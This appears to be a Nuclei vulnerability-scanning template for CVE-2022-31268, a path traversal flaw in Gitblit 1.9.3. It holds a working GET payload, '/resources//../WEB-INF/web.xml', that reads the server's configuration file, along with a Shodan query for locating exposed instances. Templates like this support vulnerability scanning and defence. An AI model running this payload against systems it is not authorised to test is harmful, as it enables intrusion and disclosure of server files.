49 lines
1.2 KiB
YAML
49 lines
1.2 KiB
YAML
id: CVE-2022-31268
|
|
|
|
info:
|
|
name: Gitblit 1.9.3 - Local File Inclusion
|
|
author: 0x_Akoko
|
|
severity: high
|
|
description: |
|
|
Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
|
|
reference:
|
|
- https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md
|
|
- https://vuldb.com/?id.200500
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-31268
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2022-31268
|
|
cwe-id: CWE-22
|
|
metadata:
|
|
shodan-query: http.html:"Gitblit"
|
|
verified: "true"
|
|
tags: cve,cve2022,lfi,gitblit
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/resources//../WEB-INF/web.xml"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</web-app>"
|
|
- "java.sun.com"
|
|
- "gitblit.properties"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/xml"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/07/15
|